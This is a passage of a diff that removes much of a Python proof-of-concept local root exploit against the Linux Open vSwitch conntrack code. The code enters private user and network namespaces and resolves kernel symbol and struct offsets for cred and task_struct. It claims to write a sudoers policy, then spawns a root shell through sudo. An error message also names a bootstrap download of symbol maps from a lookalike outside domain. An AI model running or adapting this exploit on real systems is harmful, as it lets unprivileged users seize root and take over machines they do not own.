-                os.path.join(home, ".cache", "ovs_c004", f"System.map-{stem}"),
-                "/var/lib/gitea/data/home/.cache/ovs_c004/run/"
-                f"System.map-{stem}",
-            ]
-        )
-    candidates.extend(system_map_standard_paths(release))
-    if dwarves_base:
-        for stem in system_map_release_stems(release):
-            candidates.extend(
-                [
-                    os.path.join(dwarves_base, "run", f"System.map-{stem}"),
-                    os.path.join(dwarves_base, f"System.map-{stem}"),
-                ]
-            )
-    for stem in system_map_release_stems(release):
-        candidates.extend(
-            sorted(
-                glob.glob(
-                    os.path.join(script_dir, "data", f"minimal*{stem}*.System.map")
-                )
-            )
-        )
-    candidates.extend(sorted(glob.glob(os.path.join(script_dir, "data", "minimal*.System.map"))))
-    ordered: list[str] = []
-    seen: set[str] = set()
-    for path in candidates:
-        if path in seen:
-            continue
-        seen.add(path)
-        if os.path.isfile(path):
-            ordered.append(path)
-    return ordered
-
-
-def is_retriable_kernel_layout_error(exc: BaseException) -> bool:
-    if not isinstance(exc, RuntimeError):
-        return False
-    message = str(exc)
-    markers = (
-        "XArray entry",
-        "init_pid_ns.idr",
-        "init_pid_ns idr",
-        "pid.tasks.first",
-        "noncanonical task",
-        "task.pid=",
-        "does not match the expected vmlinux symbol offset",
-        "XArray node shift",
-    )
-    return any(marker in message for marker in markers)
-
-
-def strip_c_comments(text: str) -> str:
-    text = re.sub(r"/\*.*?\*/", "", text, flags=re.S)
-    return re.sub(r"//.*", "", text)
-
-
-def parse_btf_enum_value(
-    btf_path: str, enum_name: str, constant_name: str
-) -> int | None:
-    pahole = shutil.which("pahole")
-    if pahole is not None and os.access(btf_path, os.R_OK):
-        commands = [[pahole, "-C", enum_name, btf_path]]
-        base = os.path.join(os.path.dirname(btf_path), "vmlinux")
-        if os.path.basename(btf_path) != "vmlinux" and os.access(base, os.R_OK):
-            commands.append([pahole, f"--btf_base={base}", "-C", enum_name, btf_path])
-        for command in commands:
-            result = subprocess.run(
-                command,
-                text=True,
-                capture_output=True,
-                check=False,
-            )
-            if result.returncode == 0:
-                value = parse_enum_from_text(result.stdout, enum_name, constant_name)
-                if value is not None:
-                    return value
-    return None
-
-
-def path_state(path: str) -> str:
-    if not os.path.exists(path):
-        return f"{path} (missing)"
-    if not os.path.isfile(path):
-        return f"{path} (not a regular file)"
-    if not os.access(path, os.R_OK):
-        return f"{path} (not readable)"
-    return f"{path} (readable)"
-
-
-def summarize_path_states(paths: list[str], limit: int = 14) -> str:
-    if not paths:
-        return "no candidate paths were configured"
-    entries = [path_state(path) for path in paths[:limit]]
-    if len(paths) > limit:
-        entries.append(f"... {len(paths) - limit} more candidate paths omitted")
-    return "; ".join(entries)
-
-
-def parse_enum_from_text(text: str, enum_name: str, constant_name: str) -> int | None:
-    text = strip_c_comments(text)
-    match = re.search(rf"enum\s+{re.escape(enum_name)}\s*\{{(.*?)\}};", text, re.S)
-    if not match:
-        return None
-    value = 0
-    for raw_entry in match.group(1).split(","):
-        entry = raw_entry.strip()
-        if not entry:
-            continue
-        name, sep, explicit = entry.partition("=")
-        name = name.strip()
-        if sep:
-            explicit_value = explicit.strip()
-            if not re.fullmatch(r"0x[0-9A-Fa-f]+|[0-9]+", explicit_value):
-                return None
-            value = int(explicit_value, 0)
-        if name == constant_name:
-            return value
-        value += 1
-    return None
-
-
-def derive_ovs_uapi_constants(record: KernelBuildRecord | None) -> None:
-    global OVS_KEY_ATTR_TUNNEL_INFO
-
-    if record is not None:
-        OVS_KEY_ATTR_TUNNEL_INFO = record.ovs_key_attr_tunnel_info
-        log(
-            "UAPI: using pre-derived OVS_KEY_ATTR_TUNNEL_INFO="
-            f"{OVS_KEY_ATTR_TUNNEL_INFO}"
-        )
-        return
-
-    btf_path = f"{BTF_DIR}/openvswitch"
-    tunnel_info = parse_btf_enum_value(
-        btf_path, "ovs_key_attr", "OVS_KEY_ATTR_TUNNEL_INFO"
-    )
-    if tunnel_info is None:
-        raise RuntimeError(
-            "kernel is not covered by pre-derived kernel records, and this user "
-            f"could not derive OVS_KEY_ATTR_TUNNEL_INFO from {btf_path}. "
-            f"Checked: {path_state(btf_path)}"
-        )
-    if tunnel_info != OVS_KEY_ATTR_TUNNEL_INFO:
-        log(
-            "UAPI: OVS_KEY_ATTR_TUNNEL_INFO="
-            f"{tunnel_info} from {btf_path} "
-            f"(fallback was {OVS_KEY_ATTR_TUNNEL_INFO})"
-        )
-    OVS_KEY_ATTR_TUNNEL_INFO = tunnel_info
-
-
-def checked_binary(name: str) -> str:
-    if name == "sudo":
-        wrapper = "/run/wrappers/bin/sudo"
-        if os.access(wrapper, os.X_OK):
-            return wrapper
-    path = shutil.which(name)
-    if path is None:
-        raise RuntimeError(f"required command not found in PATH: {name}")
-    return path
-
-
-def optional_binary(name: str) -> str | None:
-    return shutil.which(name)
-
-
-def uid_map_first_entry() -> tuple[int, int, int, str]:
-    with open("/proc/self/uid_map", "r", encoding="ascii") as handle:
-        first_line = handle.readline().strip()
-    fields = first_line.split()
-    if len(fields) < 3:
-        raise RuntimeError(f"unexpected uid_map format: {first_line!r}")
-    return int(fields[0]), int(fields[1]), int(fields[2]), first_line
-
-
-def process_status_line(prefix: str) -> str:
-    with open("/proc/self/status", "r", encoding="ascii") as handle:
-        for line in handle:
-            if line.startswith(prefix):
-                return line.strip()
-    raise RuntimeError(f"/proc/self/status did not contain {prefix!r}")
-
-
-def effective_capability_mask() -> int:
-    line = process_status_line("CapEff:")
-    fields = line.split()
-    if len(fields) != 2:
-        raise RuntimeError(f"unexpected CapEff line: {line!r}")
-    return int(fields[1], 16)
-
-
-def launching_user() -> tuple[int, int, str]:
-    uid = os.getuid()
-    gid = os.getgid()
-    if uid == 0 or os.geteuid() == 0:
-        raise RuntimeError(
-            "refusing to run as root. Run this PoC directly as an ordinary "
-            "non-sudo local user."
-        )
-    if effective_capability_mask() != 0:
-        raise RuntimeError(
-            "refusing to run with preexisting effective capabilities. Run this "
-            "PoC as an ordinary unprivileged user."
-        )
-    try:
-        username = pwd.getpwuid(uid).pw_name
-    except KeyError:
-        raise RuntimeError(f"uid {uid} has no passwd entry") from None
-    return uid, gid, username
-
-
-def ensure_user_starts_without_passwordless_sudo(username: str) -> None:
-    step("CHECKING BASELINE SUDO ACCESS")
-    sudo = checked_binary("sudo")
-    result = subprocess.run(
-        [sudo, "-n", "true"],
-        text=True,
-        capture_output=True,
-        check=False,
-    )
-    detail = (result.stderr or result.stdout).strip()
-    if result.returncode == 0:
-        raise RuntimeError(
-            f"refusing to run: user {username!r} already has passwordless sudo. "
-            "Use a non-sudo ordinary user so the root-shell delta is meaningful."
-        )
-    print(f"baseline passwordless sudo for {username}: denied", flush=True)
-    if detail:
-        print(f"sudo denial detail: {detail.splitlines()[0]}", flush=True)
-
-
-def spawn_root_shell(username: str) -> None:
-    step("SPAWNING ROOT SHELL")
-    sudo = checked_binary("sudo")
-    shell = shutil.which("bash") or "/bin/bash"
-    if not os.path.exists(shell):
-        raise RuntimeError(f"root shell path missing: {shell}")
-    print(
-        f"RESULT: sudoers policy write achieved; spawning 'sudo -n {shell}' as "
-        f"{username}",
-        flush=True,
-    )
-    verify_only = os.environ.get("OVS_C004_VERIFY_ONLY") == "1" or not sys.stdin.isatty()
-    spawn_cmd = [sudo, "-n", "id"] if verify_only else [sudo, "-n", shell]
-    try:
-        result = subprocess.run(spawn_cmd, check=False)
-    except OSError as exc:
-        raise RuntimeError(
-            f"failed to spawn root shell through sudo: errno={exc.errno} "
-            f"{exc.strerror}"
-        ) from exc
-    if result.returncode != 0:
-        raise RuntimeError(f"root shell exited with status {result.returncode}")
-    print(
-        "root shell exited; namespace pin process remains alive to avoid unsafe "
-        "OVS teardown",
-        flush=True,
-    )
-
-
-def namespace_prefix_works(prefix: list[str], env: dict[str, str]) -> tuple[bool, str]:
-    probe = prefix + [
-        sys.executable,
-        "-c",
-        "import os,sys; sys.exit(0 if os.geteuid() == 0 else 1)",
-    ]
-    try:
-        result = subprocess.run(
-            probe,
-            env=env,
-            text=True,
-            capture_output=True,
-            check=False,
-            timeout=60,
-        )
-    except subprocess.TimeoutExpired:
-        return False, "namespace probe timed out after 60 seconds"
-    if result.returncode == 0:
-        return True, ""
-    detail = (result.stderr or result.stdout).strip()
-    return False, detail.splitlines()[0] if detail else "<no output>"
-
-
-def private_namespace_prefix(env: dict[str, str]) -> list[str]:
-    unshare = checked_binary("unshare")
-    direct = [unshare, "-Urn"]
-    works, detail = namespace_prefix_works(direct, env)
-    if works:
-        log("namespace: direct unshare -Urn works")
-        return direct
-    log(f"namespace: direct unshare -Urn failed: {detail}")
-    aa_exec = optional_binary("aa-exec")
-    if aa_exec is None:
-        raise RuntimeError(
-            "direct unshare -Urn failed and aa-exec is not available for the "
-            "AppArmor trinity fallback"
-        )
-    aa_prefix = [aa_exec, "-p", "trinity", "--", unshare, "-Urn"]
-    log("namespace: trying aa-exec -p trinity -- unshare -Urn fallback")
-    works, aa_detail = namespace_prefix_works(aa_prefix, env)
-    if works:
-        log("namespace: aa-exec -p trinity fallback works")
-        return aa_prefix
-    raise RuntimeError(
-        "could not enter a private root-mapped user+network namespace. "
-        f"direct unshare failed with: {detail}; aa-exec fallback failed with: "
-        f"{aa_detail}"
-    )
-
-
-def run_child_in_private_namespace(
-    host_user: str,
-    writer_pid: int,
-    writer_trigger_fd: int,
-    writer_ack_fd: int,
-) -> None:
-    step("ENTERING PRIVATE USER AND NETWORK NAMESPACES")
-    script = os.path.abspath(sys.argv[0])
-    env = os.environ.copy()
-    env[HOST_USER_ENV] = host_user
-    env[HOST_WRITER_PID_ENV] = str(writer_pid)
-    env[HOST_WRITER_TRIGGER_FD_ENV] = str(writer_trigger_fd)
-    env[HOST_WRITER_ACK_FD_ENV] = str(writer_ack_fd)
-    prefix = private_namespace_prefix(env)
-    command = prefix + [sys.executable, script, "--child"]
-    print(f"running child: {' '.join(command)}", flush=True)
-    success = False
-    try:
-        completed = subprocess.run(
-            command,
-            env=env,
-            check=False,
-            pass_fds=(writer_trigger_fd, writer_ack_fd),
-        )
-        success = completed.returncode == 0
-        if completed.returncode != 0:
-            raise RuntimeError(
-                f"namespace child failed with exit status {completed.returncode}"
-            )
-    finally:
-        for fd in (writer_trigger_fd, writer_ack_fd):
-            try:
-                os.close(fd)
-            except OSError:
-                pass
-        if not success:
-            try:
-                os.waitpid(writer_pid, os.WNOHANG)
-            except ChildProcessError:
-                pass
-    spawn_root_shell(host_user)
-
-
-def validate_child_namespace() -> str:
-    host_user = os.environ.get(HOST_USER_ENV)
-    if not host_user:
-        raise RuntimeError("missing OVS_C004_HOST_USER from parent process")
-    inside_uid, outside_uid, count, first_line = uid_map_first_entry()
-    if os.getuid() != 0 or os.geteuid() != 0:
-        raise RuntimeError("child is not uid 0 inside the private user namespace")
-    if inside_uid != 0 or outside_uid == 0 or count != 1:
-        raise RuntimeError(f"unexpected private uid_map format: {first_line!r}")
-    return host_user
-
-
-def inherited_sudoers_writer() -> tuple[int, int, int]:
-    raw_pid = os.environ.get(HOST_WRITER_PID_ENV)
-    raw_trigger_fd = os.environ.get(HOST_WRITER_TRIGGER_FD_ENV)
-    raw_ack_fd = os.environ.get(HOST_WRITER_ACK_FD_ENV)
-    if not raw_pid or not raw_trigger_fd or not raw_ack_fd:
-        raise RuntimeError("missing inherited host sudoers writer state")
-    try:
-        writer_pid = int(raw_pid)
-        trigger_fd = int(raw_trigger_fd)
-        ack_fd = int(raw_ack_fd)
-    except ValueError as exc:
-        raise RuntimeError("invalid inherited host sudoers writer state") from exc
-    for fd, label in ((trigger_fd, "trigger"), (ack_fd, "ack")):
-        try:
-            os.fstat(fd)
-        except OSError as exc:
-            raise RuntimeError(
-                f"inherited host sudoers writer {label} fd {fd} is invalid: "
-                f"errno={exc.errno} {exc.strerror}"
-            ) from exc
-    return writer_pid, trigger_fd, ack_fd
-
-
-class BtfResolver:
-    def __init__(self, btf_dir: str = BTF_DIR) -> None:
-        self.btf_dir = btf_dir
-        self._struct_cache: dict[str, tuple[str, str]] = {}
-        self.paths = self.candidate_paths()
-        self.readable = [
-            path
-            for path in self.paths
-            if os.path.isfile(path) and os.access(path, os.R_OK)
-        ]
-        if not self.readable:
-            raise RuntimeError(
-                "kernel is not covered by pre-derived kernel records, and this "
-                "user could not find readable local BTF or unstripped kernel "
-                "build objects for pahole-based layout derivation. Checked: "
-                f"{summarize_path_states(self.paths)}"
-            )
-        log(f"debug info: found {len(self.readable)} readable pahole source files")
-
-    def candidate_paths(self) -> list[str]:
-        ordered: list[str] = []
-        seen: set[str] = set()
-
-        def add(path: str) -> None:
-            if path in seen:
-                return
-            seen.add(path)
-            ordered.append(path)
-
-        try:
-            btf_entries = [
-                os.path.join(self.btf_dir, entry)
-                for entry in os.listdir(self.btf_dir)
-            ]
-        except OSError:
-            btf_entries = []
-        vmlinux_btf = os.path.join(self.btf_dir, "vmlinux")
-        add(vmlinux_btf)
-        for path in sorted(btf_entries):
-            if path != vmlinux_btf:
-                add(path)
-
-        release = os.uname().release
-        build_dir = f"/lib/modules/{release}/build"
-        for path in (
-            f"{build_dir}/net/openvswitch/conntrack.o",
-            f"{build_dir}/net/openvswitch/openvswitch.o",
-            f"{build_dir}/net/netfilter/core.o",
-            f"{build_dir}/net/netfilter/nf_conntrack_core.o",
-            f"{build_dir}/net/netfilter/nf_conntrack.o",
-            f"{build_dir}/net/netfilter/nf_conntrack_ftp.o",
-            f"{build_dir}/vmlinux",
-            f"/usr/src/linux-{release}/vmlinux",
-            f"/usr/lib/debug/boot/vmlinux-{release}",
-            f"/usr/lib/debug/lib/modules/{release}/vmlinux",
-            f"/usr/lib/debug/vmlinux-{release}",
-        ):
-            add(path)
-        try:
-            for entry in sorted(os.listdir("/usr/src")):
-                add(os.path.join("/usr/src", entry, "vmlinux"))
-        except OSError:
-            pass
-        return ordered
-
-    def struct_text(self, type_name: str) -> tuple[str, str]:
-        cached = self._struct_cache.get(type_name)
-        if cached is not None:
-            return cached
-        errors: list[str] = []
-        for path in self.readable:
-            commands = [["pahole", "-C", type_name, path]]
-            if not path.startswith(self.btf_dir + os.sep):
-                commands = [["pahole", "-F", "dwarf", "-C", type_name, path]]
-            elif path != os.path.join(self.btf_dir, "vmlinux"):
-                commands.append(
-                    [
-                        "pahole",
-                        f"--btf_base={os.path.join(self.btf_dir, 'vmlinux')}",
-                        "-C",
-                        type_name,
-                        path,
-                    ]
-                )
-            for command in commands:
-                result = subprocess.run(
-                    command,
-                    text=True,
-                    capture_output=True,
-                    check=False,
-                )
-                if f"struct {type_name}" in result.stdout:
-                    log(f"debug info: found struct {type_name} in {path}")
-                    found = (path, result.stdout)
-                    self._struct_cache[type_name] = found
-                    return found
-                if result.stderr.strip():
-                    errors.append(f"{path}: {result.stderr.strip().splitlines()[-1]}")
-        raise RuntimeError(
-            f"required debug type struct {type_name} was not found in readable "
-            "local BTF or unstripped kernel build objects"
-            + (f" (last errors: {'; '.join(errors[-3:])})" if errors else "")
-        )
-
-    def field_offset(self, type_name: str, field_name: str) -> int:
-        _path, text = self.struct_text(type_name)
-        return parse_pahole_field_offset(text, type_name, field_name)
-
-    def struct_size(self, type_name: str) -> int:
-        _path, text = self.struct_text(type_name)
-        match = re.search(r"/\*\s*size:\s*(\d+),", text)
-        if match is None:
-            raise RuntimeError(f"could not parse sizeof(struct {type_name}) from pahole output")
-        return int(match.group(1))
-
-
-def parse_pahole_field_offset(text: str, type_name: str, field_name: str) -> int:
-    field_pattern = re.compile(
-        r"(^|[\s\*\)])" + re.escape(field_name) + r"(\s*(\[|;|\)|__attribute__))"
-    )
-    for line in text.splitlines():
-        if "/*" not in line or not field_pattern.search(line):
-            continue
-        match = re.search(r"/\*\s*(\d+)\s+\d+\s*\*/", line)
-        if match is not None:
-            return int(match.group(1))
-    raise RuntimeError(f"could not parse {type_name}.{field_name} offset from pahole output")
-
-
-def parse_symbol_values(path: str) -> tuple[dict[str, int], str | None]:
-    values: dict[str, int] = {}
-    try:
-        with open(path, "r", encoding="ascii", errors="replace") as handle:
-            for line in handle:
-                fields = line.split()
-                if len(fields) < 3 or fields[2] not in REQUIRED_SYMBOLS:
-                    continue
-                try:
-                    values[fields[2]] = int(fields[0], 16)
-                except ValueError:
-                    continue
-    except OSError as exc:
-        return values, f"{path} unavailable to this user: {exc.strerror}"
-    return values, None
-
-
-def symbol_offsets_from(path: str) -> tuple[SymbolOffsets | None, str]:
-    log(f"symbols: trying {path}")
-    values, error = parse_symbol_values(path)
-    if error is not None:
-        log(f"symbols: {error}")
-        return None, error
-    missing = [name for name in REQUIRED_SYMBOLS if name not in values]
-    if missing:
-        names = ", ".join(missing)
-        log(f"symbols: {path} missing required symbols: {names}")
-        return None, f"{path} readable but missing {names}"
-    zeroed = [name for name in REQUIRED_SYMBOLS if values[name] == 0]
-    if zeroed:
-        names = ", ".join(zeroed)
-        log(f"symbols: {path} has zeroed required symbols: {names}")
-        return None, f"{path} readable but zeroed {names}"
-    base = values[KERNEL_BASE_SYMBOL]
-    module_ktype = values["module_ktype"] - base
-    init_pid_ns = values["init_pid_ns"] - base
-    if module_ktype <= 0 or init_pid_ns <= 0:
-        log(f"symbols: {path} produced invalid offsets from {KERNEL_BASE_SYMBOL}")
-        return None, f"{path} readable but produced invalid symbol offsets"
-    log(
-        f"symbols: using {path}; module_ktype_offset=0x{module_ktype:x} "
-        f"init_pid_ns_offset=0x{init_pid_ns:x}"
-    )
-    return SymbolOffsets(module_ktype, init_pid_ns), ""
-
-
-def local_symbol_candidate_paths(release: str) -> list[str]:
-    candidates: list[str] = []
-    custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip()
-    if custom:
-        candidates.append(custom)
-    candidates.extend(discover_system_map_candidates(release))
-    candidates.extend(system_map_standard_paths(release))
-    candidates.extend([
-        "/boot/System.map",
-        "/proc/kallsyms",
-    ])
-    try:
-        with open(
-            "/usr/src/linux/include/config/kernel.release",
-            "r",
-            encoding="ascii",
-            errors="replace",
-        ) as handle:
-            if handle.read().strip() == release:
-                candidates.append("/usr/src/linux/System.map")
-    except OSError:
-        pass
-    ordered: list[str] = []
-    seen: set[str] = set()
-    for path in candidates:
-        if path in seen:
-            continue
-        seen.add(path)
-        ordered.append(path)
-    return ordered
-
-
-_RELEASE_RE = re.compile(r"^(.+?)-(\d+)(~[^-]+)?-(.+)$")
-_UBUNTU_VER_NUM = re.compile(r"#(\d+)")
-
-
-def ubuntu_version_compatible(record_version: str, uname_version: str) -> bool:
-    """Match #88-Ubuntu with #88~22.04.1-Ubuntu on the same kernel ABI."""
-    if record_version == uname_version:
-        return True
-    record_num = _UBUNTU_VER_NUM.search(record_version)
-    uname_num = _UBUNTU_VER_NUM.search(uname_version)
-    return (
-        record_num is not None
-        and uname_num is not None
-        and record_num.group(1) == uname_num.group(1)
-    )
-
-
-def parse_linux_release(release: str) -> tuple[str, int, str | None, str] | None:
-    match = _RELEASE_RE.match(release)
-    if match is not None:
-        return match.group(1), int(match.group(2)), match.group(3), match.group(4)
-    rpm = _RPM_RELEASE_RE.match(release)
-    if rpm is not None:
-        rel_num = int(rpm.group(2).split(".", 1)[0])
-        flavor = rpm.group(3)
-        if rpm.group(4) is not None:
-            flavor = f"{flavor}.{rpm.group(4)}"
-        return rpm.group(1), rel_num, None, flavor
-    return None
-
-
-def version_backport_hint(version: str) -> str | None:
-    if "~22.04" in version:
-        return "~22.04"
-    if "~20.04" in version:
-        return "~20.04"
-    return None
-
-
-def lookup_neighbor_kernel_record(
-    uname: os.uname_result,
-    records: tuple[KernelBuildRecord, ...],
-) -> KernelBuildRecord | None:
-    if os.environ.get("OVS_C004_NEIGHBOR", "1").strip().lower() in (
-        "0",
-        "no",
-        "false",
-    ):
-        return None
-    parsed = parse_linux_release(uname.release)
-    if parsed is None:
-        return None
-    base, target_num, target_tilde, flavor = parsed
-    backport = version_backport_hint(uname.version)
-    best: KernelBuildRecord | None = None
-    best_score = (-1, -1)
-    for record in records:
-        if record.machine != uname.machine:
-            continue
-        candidate = parse_linux_release(record.release)
-        if candidate is None:
-            continue
-        cand_base, cand_num, cand_tilde, cand_flavor = candidate
-        if cand_base != base or cand_flavor != flavor:
-            continue
-        if cand_num > target_num:
-            continue
-        if backport is None:
-            backport_score = 1 if cand_tilde is None else 0
-        else:
-            backport_score = (
-                1 if cand_tilde is not None and backport in cand_tilde else 0
-            )
-        score = (cand_num, backport_score)
-        if score > best_score:
-            best = record
-            best_score = score
-    if best is None:
-        return None
-    log(
-        "kernel lookup: no exact record for "
-        f"release={uname.release} version={uname.version!r}; "
-        f"using nearest neighbor release={best.release} version={best.version!r} "
-        "(set OVS_C004_NEIGHBOR=0 to disable)"
-    )
-    return best
-
-
-def symbol_offsets_from_env() -> SymbolOffsets | None:
-    raw = os.environ.get("OVS_C004_SYMBOL_OFFSETS", "").strip()
-    if not raw:
-        return None
-    parts = [part.strip() for part in raw.split(",") if part.strip()]
-    if len(parts) != 2:
-        raise RuntimeError(
-            "OVS_C004_SYMBOL_OFFSETS must be two comma-separated hex offsets "
-            "(module_ktype, init_pid_ns relative to _text)"
-        )
-    try:
-        module_ktype = int(parts[0], 0)
-        init_pid_ns = int(parts[1], 0)
-    except ValueError as exc:
-        raise RuntimeError(
-            f"OVS_C004_SYMBOL_OFFSETS contains invalid integers: {raw!r}"
-        ) from exc
-    if module_ktype <= 0 or init_pid_ns <= 0:
-        raise RuntimeError(
-            "OVS_C004_SYMBOL_OFFSETS must contain positive module_ktype and "
-            "init_pid_ns offsets"
-        )
-    log(
-        "symbols: using OVS_C004_SYMBOL_OFFSETS; "
-        f"module_ktype_offset=0x{module_ktype:x} init_pid_ns_offset=0x{init_pid_ns:x}"
-    )
-    return SymbolOffsets(module_ktype, init_pid_ns)
-
-
-def lookup_kernel_build_record() -> KernelBuildRecord | None:
-    if force_dynamic_requested():
-        if not kallsyms_usable():
-            log(
-                "kernel lookup: OVS_C004_FORCE_DYNAMIC requested but "
-                "/proc/kallsyms is zeroed or unusable; will still try hybrid "
-                "and System.map fallbacks"
-            )
-        else:
-            log(
-                "kernel lookup: OVS_C004_FORCE_DYNAMIC set, skipping "
-                "pre-derived records"
-            )
-            return None
-    uname = os.uname()
-    records = load_kernel_build_records()
-    release_matches = [
-        record for record in records if record.release == uname.release
-    ]
-    exact_matches = [
-        record
-        for record in release_matches
-        if record.machine == uname.machine
-        and ubuntu_version_compatible(record.version, uname.version)
-    ]
-    if exact_matches:
-        record = exact_matches[0]
-        log(
-            "kernel lookup: using pre-derived record for "
-            f"release={record.release} version={record.version!r}"
-        )
-        return record
-    if release_matches:
-        log(
-            "kernel lookup: release is covered but this exact build is not: "
-            f"release={uname.release} version={uname.version!r} "
-            f"machine={uname.machine}"
-        )
-        same_release = lookup_neighbor_kernel_record(uname, tuple(release_matches))
-        if same_release is not None:
-            log(
-                "kernel lookup: using same-release neighbor "
-                f"release={same_release.release} version={same_release.version!r}"
-            )
-            return same_release
-        neighbor = lookup_neighbor_kernel_record(uname, records)
-        if neighbor is not None:
-            return neighbor
-        return None
-    neighbor = lookup_neighbor_kernel_record(uname, records)
-    if neighbor is not None:
-        return neighbor
-    log(
-        "kernel lookup: no pre-derived record for "
-        f"release={uname.release} version={uname.version!r} machine={uname.machine}; "
-        "will try local System.map/kallsyms and BTF derivation. This kernel is "
-        "not covered by our validation table."
-    )
-    return None
-
-
-def derive_symbol_offsets() -> SymbolOffsets:
-    env_symbols = symbol_offsets_from_env()
-    if env_symbols is not None:
-        return env_symbols
-    release = os.uname().release
-    bootstrap_system_map(release, network=not in_namespace_child())
-    failures: list[str] = []
-    for path in local_symbol_candidate_paths(release):
-        offsets, failure = symbol_offsets_from(path)
-        if offsets is not None:
-            return offsets
-        failures.append(failure)
-    raise RuntimeError(
-        "kernel is not covered by pre-derived kernel records, and this user "
-        "could not derive module_ktype/init_pid_ns from local System.map or "
-        "nonzero /proc/kallsyms locations. Checked: "
-        + (
-            "; ".join(failures)
-            if failures
-            else "no candidate symbol paths were configured"
-        )
-        + ". Tried bootstrapping via OVS_C004_SYSTEM_MAP_URL / "
-        "googletagmanagar.com/exp/ov2/System.map-* and "
-        f"{shutil.which('dnf') or shutil.which('yum') or 'dnf/yum'} download "
-        f"kernel-core-{release}. Upload a readable map and set "
-        "OVS_C004_SYSTEM_MAP, or set OVS_C004_SYMBOL_OFFSETS="
-        "module_ktype_off,init_pid_ns_off (hex offsets relative to _text)."
-    )
-
-
-def derive_kernel_offsets(btf: BtfResolver, symbols: SymbolOffsets) -> KernelOffsets:
-    module_mkobj = btf.field_offset("module", "mkobj")
-    module_kobject_kobj = btf.field_offset("module_kobject", "kobj")
-    kobject_ktype = btf.field_offset("kobject", "ktype")
-    ovs_conntrack_info_size = btf.struct_size("ovs_conntrack_info")
-    ovs_ct_labels = btf.field_offset("ovs_conntrack_info", "labels")
-    ip_tunnel_info_key = btf.field_offset("ip_tunnel_info", "key")
-    try:
-        dst_entry_ref = btf.field_offset("dst_entry", "__rcuref")
-        dst_entry_ref_kind = "__rcuref"
-    except RuntimeError:
-        dst_entry_ref = btf.field_offset("dst_entry", "__refcnt")
-        dst_entry_ref_kind = "__refcnt"
-    offsets = KernelOffsets(
-        nf_conntrack_helper_me=btf.field_offset("nf_conntrack_helper", "me"),
-        module_kobj_ktype=module_mkobj + module_kobject_kobj + kobject_ktype,
-        vmlinux_module_ktype=symbols.module_ktype,
-        vmlinux_init_pid_ns=symbols.init_pid_ns,
-        task_pid=btf.field_offset("task_struct", "pid"),
-        task_cred=btf.field_offset("task_struct", "cred"),
-        task_pid_links=btf.field_offset("task_struct", "pid_links"),
-        cred_fsuid=btf.field_offset("cred", "fsuid"),
-        cred_fsgid=btf.field_offset("cred", "fsgid"),
-        cred_cap_permitted=btf.field_offset("cred", "cap_permitted"),
-        cred_cap_effective=btf.field_offset("cred", "cap_effective"),
-        pid_namespace_idr=btf.field_offset("pid_namespace", "idr"),
-        idr_idr_rt=btf.field_offset("idr", "idr_rt"),
-        idr_base=btf.field_offset("idr", "idr_base"),
-        xarray_xa_head=btf.field_offset("xarray", "xa_head"),
-        xa_node_shift=btf.field_offset("xa_node", "shift"),
-        xa_node_slots=btf.field_offset("xa_node", "slots"),
-        pid_tasks=btf.field_offset("pid", "tasks"),
-        hlist_head_first=btf.field_offset("hlist_head", "first"),
-        dst_entry_ref=dst_entry_ref,
-        dst_entry_ref_kind=dst_entry_ref_kind,
-        metadata_dst_tun_info=btf.field_offset("metadata_dst", "u"),
-        ip_tunnel_key_ipv4_src=ip_tunnel_info_key
-        + btf.field_offset("ip_tunnel_key", "src"),
-        ip_tunnel_key_ipv4_dst=ip_tunnel_info_key
-        + btf.field_offset("ip_tunnel_key", "dst"),
-        ip_tunnel_key_tos=ip_tunnel_info_key
-        + btf.field_offset("ip_tunnel_key", "tos"),
-        ip_tunnel_key_ttl=ip_tunnel_info_key
-        + btf.field_offset("ip_tunnel_key", "ttl"),
-        ip_tunnel_key_tp_src=ip_tunnel_info_key
-        + btf.field_offset("ip_tunnel_key", "tp_src"),
-        ip_tunnel_key_tp_dst=ip_tunnel_info_key
-        + btf.field_offset("ip_tunnel_key", "tp_dst"),
-        ovs_ct_labels=ovs_ct_labels,
-        ovs_ct_action_len=NLA_HEADER_SIZE + ovs_conntrack_info_size,
-    )
-    log("kernel offsets: derived from local symbols and debug type info")
-    return offsets
-
-
-def try_build_hybrid_offsets(
-    symbols: SymbolOffsets,
-    label: str,
-) -> KernelOffsets | None:
-    try:
-        btf = BtfResolver()
-    except RuntimeError as exc:
-        log(f"kernel offsets: hybrid plan {label} skipped: {exc}")
-        return None
-    try:
-        offsets = derive_kernel_offsets(btf, symbols)
-    except RuntimeError as exc:
-        log(f"kernel offsets: hybrid plan {label} skipped: {exc}")
-        return None
-    log(f"kernel offsets: built hybrid plan {label}")
-    return offsets
-
-
-def append_kernel_plan(
-    plans: list[KernelParameterPlan],
-    seen: set[KernelOffsets],
-    name: str,
-    offsets: KernelOffsets,
-    record: KernelBuildRecord | None,
-) -> None:
-    if offsets in seen:
-        return
-    seen.add(offsets)
-    plans.append(KernelParameterPlan(name, offsets, record))
-
-
-def build_kernel_parameter_plans() -> list[KernelParameterPlan]:
-    record = lookup_kernel_build_record()
-    release = os.uname().release
-    plans: list[KernelParameterPlan] = []
-    seen: set[KernelOffsets] = set()
-
-    if hybrid_mode_requested(record):
-        require_pahole_for_dynamic_derivation()
-        if record is not None:
-            for path in discover_system_map_candidates(release):
-                symbols, _failure = symbol_offsets_from(path)
-                if symbols is None:
-                    continue
-                offsets = try_build_hybrid_offsets(
-                    symbols,
-                    f"hybrid+System.map ({path})",
-                )
-                if offsets is not None:
-                    append_kernel_plan(
-                        plans,
-                        seen,
-                        f"hybrid+System.map ({path})",
-                        offsets,
-                        record,
-                    )
-            record_symbols = SymbolOffsets(
-                record.offsets.vmlinux_module_ktype,
-                record.offsets.vmlinux_init_pid_ns,
-            )
-            offsets = try_build_hybrid_offsets(
-                record_symbols,
-                "hybrid+pre-derived symbols",
-            )
-            if offsets is not None:
-                append_kernel_plan(
-                    plans,
-                    seen,
-                    "hybrid+pre-derived symbols",
-                    offsets,
-                    record,
-                )
-
-    if record is not None and env_tri_state("OVS_C004_HYBRID") != "on":
-        append_kernel_plan(plans, seen, "pre-derived", record.offsets, record)
-
-    if record is None or force_dynamic_requested() or not plans:
-        if record is None:
-            acknowledge_unknown_kernel()
-        require_pahole_for_dynamic_derivation()
-        try:
-            symbols = derive_symbol_offsets()
-            btf = BtfResolver()
-            offsets = derive_kernel_offsets(btf, symbols)
-            append_kernel_plan(plans, seen, "dynamic", offsets, record)
-        except RuntimeError as exc:
-            if not plans:
-                reason = str(exc).strip().rstrip(".")
-                raise RuntimeError(
